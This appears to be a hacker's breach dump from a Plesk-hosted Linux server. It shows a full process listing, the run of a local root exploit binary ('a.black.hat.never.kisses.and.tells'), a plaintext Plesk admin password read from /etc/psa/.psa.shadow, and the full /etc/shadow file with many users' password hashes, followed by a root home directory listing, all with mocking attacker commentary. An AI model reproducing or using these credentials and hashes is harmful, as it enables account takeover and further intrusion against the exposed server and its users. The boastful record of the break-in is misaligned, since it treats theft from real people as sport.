/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser   1346  0.0  0.0   7296  1144 ?        S    Jul16   0:03 /usr/bin/imapd
Maildir
root      1355  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kjournald]
root      1387  0.0  0.0   5072  1848 ?        S    Jul16   0:01
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser   1388  0.0  0.0   7372  1528 ?        S    Jul16   0:54 /usr/bin/imapd
Maildir
root      1401  0.0  0.0   5072  1608 ?        S    Jul16   0:01
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser   1402  0.0  0.0   7296  1508 ?        S    Jul16   0:02 /usr/bin/imapd
Maildir
root      2218  0.0  0.0  13668   904 ?        S<   Feb22   0:00 [krfcommd]
root      2489  0.0  0.0  12948  1344 ?        Ssl  Feb22   2:16 pcscd
root      2503  0.0  0.0   1756   520 ?        Ss   Feb22   0:00 /usr/sbin/acpid
root      2527  0.0  0.0   2004   448 ?        Ss   Feb22   0:00 /usr/bin/hidd
--server
root      2552  0.0  0.0  30436  1320 ?        Ssl  Feb22   1:12 automount
root      2597  0.0  0.0   7212   872 ?        Ss   Feb22   2:01 /usr/sbin/sshd
root      2610  0.0  0.1  10256  2072 ?        Ss   Feb22   0:00 cupsd
root      2747  0.0  0.0   2000   464 ?        Ss   Feb22   0:00 gpm -m
/dev/input/mice -t exps2
postgres  2982  0.0  0.0  21240  1688 ?        S    Feb22   0:00
/usr/bin/postmaster -p 5432 -D /var/lib/pgsql/data
postgres  2984  0.0  0.0  11016   420 ?        S    Feb22   0:06 postgres:
logger process
postgres  3001  0.0  0.0  21240   512 ?        S    Feb22   0:04 postgres:
writer process
postgres  3002  0.0  0.0  12020   292 ?        S    Feb22   0:00 postgres: stats
buffer process
postgres  3003  0.0  0.0  11204   336 ?        S    Feb22   0:00 postgres: stats
collector process
root      3046  0.0  7.0 248660 144752 ?       Ss   Feb22 108:36 /usr/sbin/httpd
xfs       3336  0.0  0.0   3584  1188 ?        Ss   Feb22   0:00 xfs -droppriv
-daemon
root      3363  0.0  0.0   2360   444 ?        Ss   Feb22   0:00 /usr/sbin/atd
avahi     3398  0.0  0.0   2684  1316 ?        Ss   Feb22   0:03 avahi-daemon:
running [ip-97-74-115-143.local]
avahi     3404  0.0  0.0   2684   424 ?        Ss   Feb22   0:00 avahi-daemon:
chroot helper
68        3435  0.0  0.1   5776  3856 ?        Ss   Feb22   0:04 hald
root      3436  0.0  0.0   3256  1088 ?        S    Feb22   0:00 hald-runner
68        3447  0.0  0.0   2104   828 ?        S    Feb22   0:00
hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
root      3475  0.0  0.0  33784   884 ?        Sl   Feb22   0:15 /usr/bin/hptsvr
root      3481  0.0  0.5  28360 11900 ?        SN   Feb22   0:08 /usr/bin/python
-tt /usr/sbin/yum-updatesd
root      3527  0.0  0.0   2656  1216 ?        SN   Feb22   0:26
/usr/libexec/gam_server
root      3855  0.0  0.0   3604   428 ?        S    Feb22   0:00
/usr/sbin/smartd -q never
root      3858  0.0  0.0   1744   464 tty1     Ss+  Feb22   0:00 /sbin/mingetty
tty1
root      3859  0.0  0.0   1748   468 tty2     Ss+  Feb22   0:00 /sbin/mingetty
tty2
root      3860  0.0  0.0   1744   464 tty3     Ss+  Feb22   0:00 /sbin/mingetty
tty3
root      3862  0.0  0.0   1744   460 tty4     Ss+  Feb22   0:00 /sbin/mingetty
tty4
root      3865  0.0  0.0   1744   464 tty5     Ss+  Feb22   0:00 /sbin/mingetty
tty5
root      3867  0.0  0.0   1748   468 tty6     Ss+  Feb22   0:00 /sbin/mingetty
tty6
root      3869  0.0  0.4  23908  8900 ?        Ss   Feb22   1:43
/usr/bin/sw-engine -c /usr/local/psa/admin/conf/php.ini
/usr/local/psa/admin/bin/modules/watchdog/wdcollect -c
/usr/local/psa/etc/modules/watchdog/wdcollect.inc.php
root      3870  0.0  0.1  37624  2848 ?        Ssl  Feb22  47:27
/usr/local/psa/admin/bin/modules/watchdog/monit -Ic
/usr/local/psa/etc/modules/watchdog/monitrc
root      5213  0.0  0.1  12360  3512 ?        Ss   Jul22   0:13 sshd:
root@notty
root      5217  0.0  0.0   6856  1748 ?        Ss   Jul22   0:00
/usr/libexec/openssh/sftp-server
root      5971  0.0  0.0   5068  1616 ?        S    Jul24   0:00
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser   5974  0.0  0.0   7300  1248 ?        S    Jul24   0:00 /usr/bin/imapd
Maildir
root      6969  0.0  0.1  12132  3216 ?        Ss   Jul21   0:15 sshd:
root@notty
root      6978  0.0  0.0   6780  1604 ?        Ss   Jul21   0:00
/usr/libexec/openssh/sftp-server
root      6982  0.0  1.4  32744 30092 ?        Ss   Jul18   0:17 /usr/bin/spamd
--username=popuser --daemonize --nouser-config --helper-home-dir=/var/qmail
--max-children 5 --create-prefs
--virtual-config-dir=/var/qmail/mailnames/%d/%l/.spamassassin
--pidfile=/var/run/spamd/spamd_full.pid --socketpath=/tmp/spamd_full.sock
root      7630  0.0  0.0   5380  1000 ?        Ss   Feb24   1:00 crond
root      7986  0.0  0.0      0     0 ?        S    Jul23   0:12 [pdflush]
30        8301  0.0  0.0   3208   564 ?        Ss   Mar16   0:00
/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
30        8302  0.0  0.0   3208   564 ?        Ss   Mar16   0:00
/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
apache    8354  0.1  6.8 249524 140568 ?       S    03:04   0:02 /usr/sbin/httpd
drweb     9073  0.0  6.8 145876 140908 ?       S    03:06   0:00 drwebd.real
drweb     9074  0.0  6.8 145876 140932 ?       S    03:06   0:00 drwebd.real
drweb     9075  0.0  6.8 145876 141492 ?       S    03:06   0:00 drwebd.real
drweb     9076  0.0  6.8 145876 141088 ?       S    03:06   0:00 drwebd.real
popuser   9288  0.1  1.7  39044 36312 ?        S    00:04   0:17 spamd child
501       9741  0.0  0.2   9744  6176 ?        S    Jul20   0:27
/usr/sbin/sw-cp-serverd -f /etc/sw-cp-server/config
root     10034  0.0  0.0   5072  1616 ?        S    Jul24   0:00
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser  10043  0.0  0.0   7296  1292 ?        S    Jul24   0:00 /usr/bin/imapd
Maildir
apache   10113  0.1  6.8 249356 140544 ?       S    03:14   0:02 /usr/sbin/httpd
popuser  10206  0.1  1.7  39588 36860 ?        S    Jul24   0:49 spamd child
root     11201  0.0  0.0   4904   944 pts/2    S+   Jul20   0:00 screen
root     11202  0.0  0.0   5584  1668 ?        Ss   Jul20   0:03 SCREEN
root     11203  0.0  0.0   4764  1500 pts/1    Ss+  Jul20   0:00 /bin/bash
root     11229  0.0  0.0   4760  1524 pts/3    Ss+  Jul20   0:00 /bin/bash
root     11698  0.0  0.0   5072  1612 ?        S    Jul12   0:01
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser  11701  0.0  0.0   7296  1500 ?        S    Jul12   0:42 /usr/bin/imapd
Maildir
root     11877  0.0  0.0   5072  1612 ?        S    Jul12   0:01
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser  11878  0.0  0.0   7296  1172 ?        S    Jul12   0:13 /usr/bin/imapd
Maildir
root     12664  0.0  0.0   2832   780 ?        Ss   May17   1:33 xinetd
-stayalive -pidfile /var/run/xinetd.pid
drweb    12921  0.4  6.8 145876 142236 ?       Ss   May05 523:34 drwebd.real
apache   14656  0.1  6.8 249468 140792 ?       S    03:21   0:02 /usr/sbin/httpd
apache   14807  0.0  6.8 249324 140492 ?       S    03:22   0:01 /usr/sbin/httpd
apache   14927  0.1  7.2 258392 149936 ?       S    03:22   0:01 /usr/sbin/httpd
apache   15025  0.1  6.8 249560 141268 ?       S    03:23   0:02 /usr/sbin/httpd
popuser  15706  0.0  0.0   7404  1528 ?        S    03:25   0:00 /usr/bin/imapd
Maildir
30       15854  0.0  0.0   3208   660 ?        Ss   Mar22   0:00
/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
30       15856  0.0  0.0   3200   824 ?        Ss   Mar22   0:00
/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
apache   16054  0.0  6.8 251588 140624 ?       S    03:29   0:00 /usr/sbin/httpd
apache   16681  0.0  6.7 249208 140300 ?       S    03:30   0:00 /usr/sbin/httpd
root     17623  0.0  0.0   5072  1616 ?        S    00:29   0:00
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser  17629  0.0  0.0   7296  1412 ?        S    00:29   0:00 /usr/bin/imapd
Maildir
root     17716  0.0  0.0      0     0 ?        S    Jul24   0:14 [pdflush]
popuser  18091  0.0  0.0   7292  1136 ?        S    01:38   0:00 /usr/bin/imapd
Maildir
root     18097  0.0  0.0   5068  1596 ?        S    01:38   0:00 couriertls
-localfd=4 -tcpd -server
apache   18708  0.1  6.7 249328 139912 ?       S    03:38   0:00 /usr/sbin/httpd
30       19002  0.0  0.0   3200   564 ?        Ss   May05   0:00
/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
root     19106  0.0  0.0   6072   732 ?        S    Jul08   0:09
/usr/lib/courier-imap/couriertcpd -address=0
-stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd -maxprocs=40
-maxperip=4 -pid=/var/run/imapd.pid -nodnslookup -noidentlookup 143
/usr/sbin/imaplogin /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
root     19110  0.0  0.0   4904  1116 ?        S    Jul08   0:06
/usr/sbin/courierlogger imapd
root     19118  0.0  0.0   6068   732 ?        S    Jul08   0:14
/usr/lib/courier-imap/couriertcpd -address=0
-stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd-ssl -maxprocs=40
-maxperip=4 -pid=/var/run/imapd-ssl.pid -nodnslookup -noidentlookup 993
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
root     19120  0.0  0.0   4904   808 ?        S    Jul08   0:11
/usr/sbin/courierlogger imapd-ssl
root     19126  0.0  0.0   6072   748 ?        S    Jul08   0:32
/usr/lib/courier-imap/couriertcpd -address=0
-stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d -maxprocs=40
-maxperip=4 -pid=/var/run/pop3d.pid -nodnslookup -noidentlookup 110
/usr/sbin/pop3login /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
root     19128  0.0  0.0   4900  1112 ?        S    Jul08   0:23
/usr/sbin/courierlogger pop3d
root     19135  0.0  0.0   6068   728 ?        S    Jul08   0:30
/usr/lib/courier-imap/couriertcpd -address=0
-stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d-ssl -maxprocs=40
-maxperip=4 -pid=/var/run/pop3d-ssl.pid -nodnslookup -noidentlookup 995
/usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
/usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
root     19137  0.0  0.0   4904   996 ?        S    Jul08   0:23
/usr/sbin/courierlogger pop3d-ssl
apache   20073  0.0  6.7 248988 138776 ?       S    03:43   0:00 /usr/sbin/httpd
root     20144  0.0  0.0   5068  1612 ?        S    03:44   0:00
/usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
/usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
popuser  20145  0.0  0.0   4936   860 ?        S    03:44   0:00 /usr/bin/pop3d
Maildir
apache   20319  0.0  6.4 236508 132820 ?       S    Jul24   0:00 /usr/sbin/httpd
postfix  20848  0.0  0.1   8816  3452 ?        S    03:46   0:00 smtpd -n smtp
-t inet -u -c -o smtpd_proxy_filter 127.0.0.1:10025
postfix  20849  0.0  0.0   7012  1732 ?        S    03:46   0:00 proxymap -t
unix -u
postfix  20850  0.0  0.0   7024  1732 ?        S    03:46   0:00 anvil -l -t
unix -u
postfix  20851  0.0  0.1   7172  2156 ?        S    03:46   0:00 trivial-rewrite
-n rewrite -t unix -u
postfix  20852  0.0  0.0   7020  1720 ?        S    03:46   0:00 spawn -n
127.0.0.1:10025 -t inet user=mhandlers-user
argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
postfix  20854  0.0  0.0   7024  1728 ?        S    03:46   0:00 spawn -n
127.0.0.1:10027 -t inet user=mhandlers-user
argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
postfix  20856  0.0  0.1   8848  3292 ?        S    03:46   0:00 smtpd -n
127.0.0.1:10026 -t inet -u -c -o smtpd_client_restrictions  -o
smtpd_helo_restrictions  -o smtpd_sender_restrictions  -o
smtpd_recipient_restrictions permit_mynetworks,reject -o smtpd_data_restrictions
 -o receive_override_options no_unknown_recipient_checks
postfix  20857  0.0  0.1   7156  2272 ?        S    03:46   0:00 cleanup -z -t
unix -u
postfix  20858  0.0  0.0   7068  1824 ?        S    03:46   0:00 pipe -n
plesk_virtual -t unix flags=DORhu user=popuser popuser
argv=/usr/lib/plesk-9.0/postfix-local -f ${sender} -d ${recipient} -p
/var/qmail/mailnames
apache   20889  0.0  0.0   2272   824 ?        R    03:47   0:00 ps -aux
root     21272  0.0  0.1  12936  4096 ?        Ss   Jul21   0:16 sshd:
root@notty
root     21278  0.0  0.0   6796  1748 ?        Ss   Jul21   0:00
/usr/libexec/openssh/sftp-server
root     21568  0.0  0.0   6968  1788 ?        Ss   Jul08   5:03
/usr/libexec/postfix/master
postfix  21765  0.0  0.1   8244  3064 ?        S    Jul08   3:16 qmgr -l -t fifo
-u
postfix  21910  0.0  0.0   7068  1932 ?        S    Jul08   0:09 tlsmgr -l -t
unix -u
apache   22145  0.1  7.0 256496 146220 ?       S    01:56   0:08 /usr/sbin/httpd
30       23051  0.0  0.0   3200   652 ?        Ss   Mar18   0:00
/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
30       23052  0.0  0.0   3200   708 ?        Ss   Mar18   0:00
/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
root     23196  0.0  0.0   4764  1500 pts/0    Ss+  Jul20   0:00 /bin/bash
named    24811  0.0  0.2  72156  5504 ?        Ssl  Jun29  11:38 /usr/sbin/named
-u named -c /etc/named.conf -u named -t /var/named/run-root
apache   25023  0.1  6.8 249408 140780 ?       S    02:10   0:06 /usr/sbin/httpd
apache   25276  0.1  6.8 251928 141112 ?       S    02:10   0:09 /usr/sbin/httpd
apache   26378  0.1  6.8 249368 140756 ?       S    02:13   0:05 /usr/sbin/httpd
postfix  30087  0.0  0.0   7032  1780 ?        S    02:20   0:00 pickup -l -t
fifo -u -c -o content_filter smtp:127.0.0.1:10027
root     30254  0.0  0.1  12140  3216 ?        Ss   Jul18   0:30 sshd:
root@pts/2
root     30395  0.0  0.0   4764  1512 pts/2    Ss   Jul18   0:00 -bash
apache   30715  0.0  6.8 249436 140620 ?       S    02:21   0:04 /usr/sbin/httpd
root     31126  0.0  0.0   4624  1216 pts/1    S    Jul20   0:00 /bin/sh
/usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock
--log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
--user=mysql
mysql    31206 24.4  2.2 166880 45728 pts/1    Sl   Jul20 1587:18
/usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
--pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking
--socket=/var/lib/mysql/mysql.sock
root     31988  0.0  0.0   5072  1604 ?        S    Jul16   0:01
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
popuser  31992  0.0  0.0   7292  1420 ?        S    Jul16   0:03 /usr/bin/imapd
Maildir


// TIME TO GET STREET ON THESE PIGS

$ ./a.black.hat.never.kisses.and.tells

# id
uid=0(root) gid=0(root) groups=48(apache),2521(psaserv)

// CRACKING SHADOW FILES ARE LESS FUN WHEN PLESK STORES USER, FTP AND EMAIL
// PASSES IN PLAINTEXT IN FILES AND MYSQL PSA TABLES

# cat /etc/psa/.psa.shadow
8w667nHzx%XFXb

# cat /etc/shadow
root:$1$9f.5eJ9.$QUYSU4l8mMYIIhg7Dvk5n0:15135:0:99999:7:::
bin:*:13913:0:99999:7:::
daemon:*:13913:0:99999:7:::
adm:*:13913:0:99999:7:::
lp:*:13913:0:99999:7:::
sync:*:13913:0:99999:7:::
shutdown:*:13913:0:99999:7:::
halt:*:13913:0:99999:7:::
mail:*:13913:0:99999:7:::
news:*:13913:0:99999:7:::
uucp:*:13913:0:99999:7:::
operator:*:13913:0:99999:7:::
games:*:13913:0:99999:7:::
gopher:*:13913:0:99999:7:::
ftp:*:13913:0:99999:7:::
nobody:*:13913:0:99999:7:::
rpm:!!:13913:0:99999:7:::
dbus:!!:13913:0:99999:7:::
mailnull:!!:13913:0:99999:7:::
smmsp:!!:13913:0:99999:7:::
nscd:!!:13913:0:99999:7:::
vcsa:!!:13913:0:99999:7:::
rpc:!!:13913:0:99999:7:::
rpcuser:!!:13913:0:99999:7:::
nfsnobody:!!:13913:0:99999:7:::
sshd:!!:13913:0:99999:7:::
pcap:!!:13913:0:99999:7:::
haldaemon:!!:13913:0:99999:7:::
webdept:$1$fMH2nTXH$8mR4nakYDl79MWehtHJpJ/:14599:0:99999:7:::
avahi:!!:14599::::::
avahi-autoipd:!!:14599::::::
named:!!:14599::::::
xfs:!!:14599::::::
apache:!!:14599::::::
distcache:!!:14599::::::
mysql:!!:14599::::::
ntp:!!:14599::::::
sw-cp-server:!!:14599:0:99999:7:::
psaadm:!!:14599:0:99999:7:::
popuser:!!:14599:0:99999:7:::
mhandlers-user:!!:14599:0:99999:7:::
webalizer:!!:14599::::::
psaftp:!!:14599:0:99999:7:::
alias:!!:14599:0:99999:7:::
qmaild:!!:14599:0:99999:7:::
qmaill:!!:14599:0:99999:7:::
qmailp:!!:14599:0:99999:7:::
qmailq:!!:14599:0:99999:7:::
qmailr:!!:14599:0:99999:7:::
qmails:!!:14599:0:99999:7:::
postgres:!!:14599::::::
drweb:!!:14599::::::
jdpa:!$1$JyO0yJgZ$HssFeCuxD2qNPBcqVAcrE0:14600:0:99999:7:::
barms:$1$JMHnROPk$hW1voLIUUozaP3fB/Q3PS/:14600:0:99999:7:::
bcsd:$1$9N.SKA8k$UB9Fa1pj4O9ScqvanwsuD0:14600:0:99999:7:::
bjm:$1$nQFDQuzG$nixGXRSZ2weKVIZbWvY2Y1:14600:0:99999:7:::
demo:$1$A/PXg4Bp$gxE6Tua9ymjgqIZiruTZJ/:14600:0:99999:7:::
dymin:$1$aV.nPRpD$w0u6q9utdB9fC0ze0Y9jk1:14600:0:99999:7:::
dcsd:$1$BmkM/hGw$WYVxaTBKlAnAG9oZfTNs40:14600:0:99999:7:::
bocg:$1$YCTsX/LA$muqhDQl9XfKRS691T9Ebu0:14600:0:99999:7:::
crcsd:$1$R2N6hV/D$Efk6P7K2EF6waHHkC.z9/.:14600:0:99999:7:::
bocs:$1$WTdEJKgC$cTG5MeoEUpdCmEODakZbF.:14600:0:99999:7:::
izhth:$1$kUKcvc.x$D20GJqyHyrmwvt9SUHSuo0:14600:0:99999:7:::
mcmtn:$1$neyLtM6z$VuI6CW0/bf5hdOUqgGkSn0:14600:0:99999:7:::
ccsal:$1$vhubLzwF$Evrqm.AX4vusW3SqmZA3B0:14600:0:99999:7:::
tunms:$1$annTeiUZ$twvp7SQzRRNJNEIvxS3Cx/:14600:0:99999:7:::
ccsd:$1$Lzz71cOH$Djo2V4u/SL9JKqrkvK0/41:14600:0:99999:7:::
ciwy:$1$DrcaNoRu$pj27lg4ogzIM/1T3xXCpF/:14600:0:99999:7:::
ncsd:$1$KRjV7G3q$sdkmFwpIp7p9FF1f4hhn90:14600:0:99999:7:::
icsd:$1$Jg/IPNZ3$173b6vFq9AlwznflpUbzp/:14600:0:99999:7:::
shsd:$1$4JEzAXVt$KG42rhcwE0livRJ00Awgb/:14600:0:99999:7:::
polms:$1$QEqTUIBr$L1VWAWaGnhYGsRu0FDrr6/:14600:0:99999:7:::
grcg:$1$yoyTc6DI$X8v6sg7ExdoUg0bNi8kmU/:14600:0:99999:7:::
lawmo:$1$0uQIYYqK$y0TIsAA9Miv4Vfn5o7KhR.:14600:0:99999:7:::
johms:$1$ljRMripB$/v33v9izoRJKITBK04ZgV.:14600:0:99999:7:::
sacsd:$1$6vTTH5h.$mu0.aSPxOJnNfw0Y1Yhy81:14600:0:99999:7:::
jcsd:$1$SR7NPa.y$bXGwoje29eCLh/jeptX7m.:14600:0:99999:7:::
gcsd:$1$ai7yamMR$JZPQccHWCGmMDeQFJ56eg0:14600:0:99999:7:::
izcg:$1$PpoAe8un$Tmmp4XEdNWUlJPSJv80Xj0:14600:0:99999:7:::
jocsd:$1$NRHv77bV$LA2Xex9kNa46frC/0ArlW1:14600:0:99999:7:::
scsd:$1$xKBlDTZE$.mpjBbZ0yHHsNcFCmu7pT0:14600:0:99999:7:::
bjm2:$1$IyEce8if$BFsLo9r.7HgTftQhJHGPh/:14600:0:99999:7:::
test:$1$/SMm0ODb$EX2C/eZ7Lo3BPfzIlZfBF0:14601:0:99999:7:::
bcsd_sync:$1$6WexrYqZ$3ROvk9LXiGIAjx/yMFgGc.:14601:0:99999:7:::
ccsal_synce:!!:14601:0:99999:7:::
ccsal_sync:$1$1R4G9HKN$0nsQSMPnDwPI8QwcOoB4x0:14601:0:99999:7:::
kluser:!!:14602:0:99999:7:::
tigeraccessftp:$1$vIx5yzLJ$QLvytS5blodUB69dx4Ff81:14607:0:99999:7:::
vbcsd:$1$Xa7IjTjy$EVOg0CDGrhKecE9tcEv0K1:14614:0:99999:7:::
jonms2:$1$UEKyybmq$V.KCuSAArIbZ97Rb3j.Gj.:14624:0:99999:7:::
ccsoks:$1$5Um4tVSe$nmmR1DwLGB1rVtilMJUnW.:14629:0:99999:7:::
crcg:$1$5W78GNCt$5AsiPm0MkUOaxLy7PZUbC.:14637:0:99999:7:::
tcsoms:$1$AUtRv.T/$8PAgYTEZNTkHAg29MuxxA.:14644:0:99999:7:::
hcsoks:$1$QNKj.3g8$a5XwX/ucCpz25QC.a7Yyr1:14650:0:99999:7:::
jcsoks:$1$rLe4qHgu$YVf.K6kRj5bzWE/bYYG2x/:14656:0:99999:7:::
mosa:$1$dIsYss8M$8wcFZe8f9xyrQg/M5fw2q.:14662:0:99999:7:::
pcsoks:$1$aOO/b7/y$fksYEq1P0ydvkBDACy7PN1:14678:0:99999:7:::
johms_sync:$1$JJOQW/Ub$KQcLsIuntNhvuT.IgHfr51:15140:0:99999:7:::
hcsar:$1$HRrStn03$JID8.6JAq3uO9Ea89sGWy/:14691:0:99999:7:::
hscar:$1$eT4u9sV5$1yfafNGVFeJLzHKIDnTPB.:14691:0:99999:7:::
pcsoia:$1$iA.cOgM7$bKcN9Md8bgaqgDOeWMLTk1:14692:0:99999:7:::
mcsd:$1$w8xq8Wiz$9h9Vmun9mouExbFw5TP9./:14701:0:99999:7:::
wsoks:$1$RA/aiiIn$vWff63MvT9OM6m/I9g/wI1:14718:0:99999:7:::
mosa2010bN:!!:14719:0:99999:7:::
mosa2010:$1$rkKGNbTJ$zuSXZpGmBGZmBLblIR..M0:14720:0:99999:7:::
faoret:$1$6FeVAWdI$5tdP6hddCUejnapF8SpSr.:14725:0:99999:7:::
bcso_tiger:$1$LY1S8HSQ$nmrLU.ZovFp/3SyDPqh/G.:14727:0:99999:7:::
stcsd:$1$pDRSTxFh$ZBvOBAFQ7LnFMjUdsa16g.:14728:0:99999:7:::
ccsoms:$1$2AcdfJU9$S7c4H4a0ySzzHVv1Xp8vT0:14736:0:99999:7:::
kcsoms:$1$9/UGCy/Q$v0YU2N4s6fJA1WRrnO4/y1:14743:0:99999:7:::
pcsoks_sync:$1$ZVgfXBYP$8/7JU659Rzy6AFMTsgUDk1:14753:0:99999:7:::
mocsd:$1$ruYfFxnn$THY1iwfnln5fIWJEZ.xuI1:14754:0:99999:7:::
postfix:!!:14768::::::
bcsoga:$1$um3cyDMU$iyb6m61oqCGNxsBoFTLP2/:14770:0:99999:7:::
jonms_sync:$1$ox9q2AUv$Z.PKJVfV6wBqkdE27vbNw/:14771:0:99999:7:::
jcsoks_sync:$1$XkeeIlA/$6H68JaLVbeKNw7YGOOkX31:14790:0:99999:7:::
cpsola:$1$NwWGtomq$jgAUVRm6VBvGSujRtKwF31:14806:0:99999:7:::
cgsomo:$1$eilIGZWl$eLznlmIdX3xApkdWmpsnT.:14810:0:99999:7:::
sfsoar:$1$yOE1lcCf$GUu9M1fczt1Ghc764zw/30:14824:0:99999:7:::
sfsoar_sync:$1$nxHb55iY$vFvZhr1ruVHu/4U981Jk2.:14826:0:99999:7:::
code:$1$iqeHXuMI$4vRAcEszoYdstIN3RMgx60:14837:0:99999:7:::
fcsoga:$1$T2d2gmYb$FFMQvYx7VRTFEtMtYzENj1:14841:0:99999:7:::
mcsoga:$1$sU6wEv93$dY7TnQIfrf7CNtxrb1BHv0:14852:0:99999:7:::
code2:$1$j9vWcrHj$ackLsXxNqZYDlHGs9EfTJ/:14853:0:99999:7:::
kcsoil:$1$RktuLOY5$rqG9aojQ7QPev715Sziym0:14855:0:99999:7:::
mcsoal:$1$DfHeInc2$tl5Z3EJ5cbpEI7PAi..nR.:14874:0:99999:7:::
sgsomo:$1$ofmWWjSo$VdSaYP7i5Mq3TaigZKJmY/:14879:0:99999:7:::
gcsoms:$1$GwuFixxs$ar2pJ.ZaG9F/zahcjl0JP0:14879:0:99999:7:::
stoms:$1$VRmMMzI7$x1nr.ZMBdSv7VOng/TpX//:14897:0:99999:7:::
hcsar_sync:$1$k8HSpdqc$5G8/PJOdzeQN8W2VKJj461:14901:0:99999:7:::
alsa:$1$0D1HLRSq$6mKb1LEmHoM/q2HhpXSjq/:14902:0:99999:7:::
pcsoar:$1$HxfuMiMY$bAapp8diWD1nSOjkTEqNx/:14917:0:99999:7:::
rcsd:$1$9poK4hQN$gzorj3zcz7dpG21M45ai5.:14921:0:99999:7:::
tisoms:$1$wXhmWMjs$EARUykep59RVk3KBNLIay/:14924:0:99999:7:::
stoms_sync:$1$TEYhWb2S$dYeYk0rb/sqikIaqqovuR/:14945:0:99999:7:::
prsoar:$1$ZIuKGFWZ$b9QSyf2DPsYbBm/pNe.WP1:14952:0:99999:7:::
mcsd_sync:$1$b1gA3kVg$Rg3yF/yRG.A/YEM4idaXW1:15001:0:99999:7:::
jccgms:$1$52kEGL60$J3C2CN/1fq4b.nD1EaNHP1:15009:0:99999:7:::
ccsook:$1$amm2tffa$XaIWUbOY47Dr02lvTWEFf/:15056:0:99999:7:::
fcsoar:$1$W74MwMzz$QuYSprTouxtkRx/wKgIJL1:15057:0:99999:7:::
poalac:$1$q.RuXO6m$C/hJSOR8TUzP5iZvmh3vc1:15085:0:99999:7:::
arsa:$1$dY5DsE1V$aGJWYgu9pj.kO0gQ14zpd0:15097:0:99999:7:::
rcpica:$1$CXfW/jiM$PrVYk8La/RySYfT0FeMRI/:15100:0:99999:7:::
ciga:$1$QTWBjVx9$zs4DkuPeQ7IuyaFtXby3B.:15113:0:99999:7:::
sfcgar:$1$GqNHP49J$0idVp0wiWtAcd848aWI5O/:15131:0:99999:7:::
lcsomo:$1$ptPfDVG3$nvwb9D.toLPBP1NsCRbNs1:15132:0:99999:7:::
tcsoal:$1$0oUtGUJd$dAyePg9xnfh2dNDHRr/s80:15134:0:99999:7:::
jwiegand:$1$F.H2Vzt/$BzID0ITAA2LtVZ99e5anu.:15135:0:99999:7:::
bcsf:$1$pznU6Acd$jDjShBfJXAE3YUdsF7W140:15135:0:99999:7:::
prsoms:$1$NpevRywM$.lnU4tjwBZNx5DyzQ5e8e0:15135:0:99999:7:::
acsoms:$1$rRiyYAkw$a9FJbLJJZgcWYgdUX5m/B.:15147:0:99999:7:::
kssa:$1$QJmmY.q8$GKzc4XMppwpKPbPVkI/1H1:15149:0:99999:7:::

// YOU KNOW WHAT IT IS, ITS A STICKUP

# ls -al ~root
total 420776
drwxr-x--- 17 root    root         4096 Jul 22 11:37 .
drwxr-xr-x 26 root    root         4096 Feb 22 22:21 ..
drwxr-xr-x  2 root    root         4096 Nov 30  2010 .autoinstaller
-rw-------  1 root    root        19127 Jul 21 15:58 .bash_history
-rw-r--r--  1 root    root           24 Jan  6  2007 .bash_logout
-rw-r--r--  1 root    root          191 Jan  6  2007 .bash_profile
-rw-r--r--  1 root    root          176 Jan  6  2007 .bashrc
-rw-r--r--  1 root    root          121 Sep  2  2010 .cshrc
-rw-r--r--  1 root    root            9 Feb 10 10:28 .exrc
-rw-------  1 root    root          686 Jul 20 13:03 .lesshst
-rw-------  1 root    root         1739 Jul 20 10:29 .mysql_history
-rw-r--r--  1 root    root           91 Dec 23  2009 .pearrc
-rw-------  1 root    root         1024 May  3 09:00 .rnd
drwx------  2 root    root         4096 Mar 12  2010 .spamassassin
drwx------  2 root    root         4096 Jan 25 13:27 .ssh
